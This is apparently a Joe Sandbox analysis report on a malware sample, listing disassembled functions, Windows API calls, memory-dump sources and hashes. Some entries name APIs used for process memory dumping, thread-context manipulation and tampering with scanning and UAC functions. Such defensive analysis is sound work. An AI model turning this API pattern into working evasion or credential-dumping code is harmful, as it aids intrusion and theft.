                                                                                    • Opcode ID: 036a5fa3bc5c576bfd9c0414e016f8c653f2c7670c46e54d4cd985ed12d10d00
                                                                                    • Instruction ID: 471230842bb4d0e3b7a15af8a4d1d04665359983e05567d2e9a3f6f0ee0fd222
                                                                                    • Opcode Fuzzy Hash: 036a5fa3bc5c576bfd9c0414e016f8c653f2c7670c46e54d4cd985ed12d10d00
                                                                                    • Instruction Fuzzy Hash: C9E21C35A501189FDB12EB64CCA1BEE73BAFF49300F2145F6A149AB215DEB0AE45CF50
                                                                                    Function 02BC8BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8824: LoadLibraryA.KERNEL32(00000000,00000000,02BC890B), ref: 02BC8858
                                                                                      • Part of subcall function 02BC8824: FreeLibrary.KERNEL32(745E0000,00000000,02C11388,Function_000065D8,00000004,02C11398,02C11388,05F5E0FF,00000040,02C1139C,745E0000,00000000,00000000,00000000,00000000,02BC890B), ref: 02BC88EB
                                                                                    • GetThreadContext.KERNEL32(00000000,02C11420,ScanString,02C113A4,02BCA77C,UacInitialize,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,UacInitialize,02C113A4), ref: 02BC9442
                                                                                      • Part of subcall function 02BC79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BC7A27
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$AllocateContextFreeLoadMemoryThreadVirtual
                                                                                    • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                    • API String ID: 4236972194-51457883
                                                                                    • Opcode ID: eec22206a2cae5bca90301b20a430cf5e0eaf4c4815a9129c3bccad5d8bcb0e4
                                                                                    • Instruction ID: 380cb7d77438137e8074ecfa4794801aa0d2913b59ab05fe4c5dcd932aceeafa
                                                                                    • Opcode Fuzzy Hash: eec22206a2cae5bca90301b20a430cf5e0eaf4c4815a9129c3bccad5d8bcb0e4
                                                                                    • Instruction Fuzzy Hash: 3BE20C35A501189FDB12EB64CCA1BEE73BAFF49300F2145F6A149AB215DEB0AE45CF50
                                                                                    Function 02BB58B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB58D1
                                                                                    • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02BB58E8
                                                                                    • lstrcpynA.KERNEL32(?,?,?), ref: 02BB5918
                                                                                    • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB597C
                                                                                    • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB59B2
                                                                                    • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB59C5
                                                                                    • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB59D7
                                                                                    • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02BB7338,02BB0000,02BDD790), ref: 02BB59E3
                                                                                    • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02BB7338,02BB0000), ref: 02BB5A17
                                                                                    • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02BB7338), ref: 02BB5A23
                                                                                    • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02BB5A45
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                                                                    • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                    • API String ID: 3245196872-1565342463
                                                                                    • Opcode ID: c9726ed222c0706a15ccf2f94ab6ed917cd1c85c3cf91eac8f74107c61c5864b
                                                                                    • Instruction ID: c83c9565e2b524b29b8390a909db201ddaeb92e1629971df6e7cc61d12e0f35f
                                                                                    • Opcode Fuzzy Hash: c9726ed222c0706a15ccf2f94ab6ed917cd1c85c3cf91eac8f74107c61c5864b
                                                                                    • Instruction Fuzzy Hash: E0416D72D00659AFDB22DBE8CC88AEEB3BDEF09340F4445E5A198E7241D7B0DA448F50
                                                                                    Function 02BB5B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02BB5B94
                                                                                    • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02BB5BA1
                                                                                    • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02BB5BA7
                                                                                    • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02BB5BD2
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02BB5C19
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02BB5C29
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02BB5C51
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02BB5C61
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02BB5C87
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02BB5C97
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                    • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                    • API String ID: 1599918012-2375825460
                                                                                    • Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                    • Instruction ID: ded0e2887e84526adcb61dce5b57e682b38cb38120c1d092c7b14a7329bea177
                                                                                    • Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                    • Instruction Fuzzy Hash: 8F316471E4021C2AEB37DAB8DC45BFE77AD9F04380F4405E19648E6181DBB49A848F51
                                                                                    Function 02C54C8C Relevance: 3.5, APIs: 2, Instructions: 464COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: ee65118e21ad850d673eeb422f47b08f07919d3d7449f3c795c8270207e56b85
                                                                                    • Instruction ID: fee26c59ab6fa69114d4864cf956d85a6954328f6981010e8fb15acf44a66913
                                                                                    • Opcode Fuzzy Hash: ee65118e21ad850d673eeb422f47b08f07919d3d7449f3c795c8270207e56b85
                                                                                    • Instruction Fuzzy Hash: D3020D71E001299BDF28CFA9C8847AEFBF1EF88324F554269D915E7344D731AA81CB94
                                                                                    Function 02C42C87 Relevance: 1.8, Strings: 1, Instructions: 501COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 0
                                                                                    • API String ID: 0-4108050209
                                                                                    • Opcode ID: a0300bf0e74490e07b48137b646e8018063fd0ad9baab8b1153cdb7e3f9059d1
                                                                                    • Instruction ID: c8569b6468fa14338b14591bc198d91e03572dd498017973fb936c85bc17d52c
                                                                                    • Opcode Fuzzy Hash: a0300bf0e74490e07b48137b646e8018063fd0ad9baab8b1153cdb7e3f9059d1
                                                                                    • Instruction Fuzzy Hash: 2A124B326083058BD714DF75C892A1FBBE2BFC8754F15896DF895AB380DB74E8058B82
                                                                                    Function 02C366DE Relevance: 1.7, Strings: 1, Instructions: 435COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: xC
                                                                                    • API String ID: 0-2612284313
                                                                                    • Opcode ID: d458ade9fa3e430e56a490dc559ca3233c0ac936792f1b09f2272965098b9e79
                                                                                    • Instruction ID: 1a95af136b48b00154834387f5f9206d814a02c7fbd1717e49b9260280c54a63
                                                                                    • Opcode Fuzzy Hash: d458ade9fa3e430e56a490dc559ca3233c0ac936792f1b09f2272965098b9e79
                                                                                    • Instruction Fuzzy Hash: A70291716146528FC758CF2EEC4063AB7E1EB8E306B45853EE495C7781EB34EA21CB94
                                                                                    Function 02BB7F5A Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02BB7F7D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DiskFreeSpace
                                                                                    • String ID:
                                                                                    • API String ID: 1705453755-0
                                                                                    • Opcode ID: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
                                                                                    • Instruction ID: 3e670b493fdc9262e485c663714c251f4f9a671c9a4f51bd39b72afb5575f7fe
                                                                                    • Opcode Fuzzy Hash: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
                                                                                    • Instruction Fuzzy Hash: 051100B5A00209AF9B45DF99C8809FFF7F9EFC8304B14C569A505EB254E6719E01CBA0
                                                                                    Function 02BBA74C Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02BBA76A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID:
                                                                                    • API String ID: 2299586839-0
                                                                                    • Opcode ID: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
                                                                                    • Instruction ID: 5c7eb2c2f57b70a9e7cf85edb1595b677bb8f6878fd69c5ca8335f42b7e3aec8
                                                                                    • Opcode Fuzzy Hash: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
                                                                                    • Instruction Fuzzy Hash: 0FE09235B0421417D313A5695C909F6B36DAF58310F0041AAA905C7341EEE09D404AE4
                                                                                    Function 02BBB714 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetVersionExA.KERNEL32(?,02BDC106,00000000,02BDC11E), ref: 02BBB722
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Version
                                                                                    • String ID:
                                                                                    • API String ID: 1889659487-0
                                                                                    • Opcode ID: 2803d96caeec470c30e79ac6e4482b628de63e2e3c125251939286dd357f6269
                                                                                    • Instruction ID: 21c2f4abd9ca5942ec5999c2d7bbee8cee7ea416cdea4258e85e3d793203fd8f
                                                                                    • Opcode Fuzzy Hash: 2803d96caeec470c30e79ac6e4482b628de63e2e3c125251939286dd357f6269
                                                                                    • Instruction Fuzzy Hash: 32F0127AA453028FC340DF29D550AA977E5FB89B84F8089A9E8D9C7380F774D824CF52
                                                                                    Function 02BBA798 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02BBBDFA,00000000,02BBC013,?,?,00000000,00000000), ref: 02BBA7AB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InfoLocale
                                                                                    • String ID:
                                                                                    • API String ID: 2299586839-0
                                                                                    • Opcode ID: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
                                                                                    • Instruction ID: 8391ac2e0a7b3f9edc8a106bb185f690114516404d5c7409b0e8ccbb25b16e4e
                                                                                    • Opcode Fuzzy Hash: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
                                                                                    • Instruction Fuzzy Hash: EBD05EB630E2602AA221516B2DA4DFF6AECCFC97A1F0080BEF548C6240D2508C0696B1
                                                                                    Function 02BB9194 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime
                                                                                    • String ID:
                                                                                    • API String ID: 481472006-0
                                                                                    • Opcode ID: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
                                                                                    • Instruction ID: cf903e575142bc3c17bf621bdab4738654406785bbbbb5afc09e8bf6e690511b
                                                                                    • Opcode Fuzzy Hash: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
                                                                                    • Instruction Fuzzy Hash: 87A01100808820028A803B280C032BA3288AE00A20FC80F80A8F8802E0EE2E0A2080E3
                                                                                    Function 02C4EF58 Relevance: 1.5, Strings: 1, Instructions: 214COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 0
                                                                                    • API String ID: 0-4108050209
                                                                                    • Opcode ID: 5939193a035a9f71e1be9e8e65b71e813b2798266dd155f684168ca2d02e33de
                                                                                    • Instruction ID: e8d082e7965265f5a8ccebd25fef972834deac5f02544fcec67fbc7c2d38b7f6
                                                                                    • Opcode Fuzzy Hash: 5939193a035a9f71e1be9e8e65b71e813b2798266dd155f684168ca2d02e33de
                                                                                    • Instruction Fuzzy Hash: AF517B616006445BEB38497C8554BBF27D6ABE5308F080A1ED882CBE81CF57F745D7E6
                                                                                    Function 02C4F187 Relevance: 1.5, Strings: 1, Instructions: 214COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
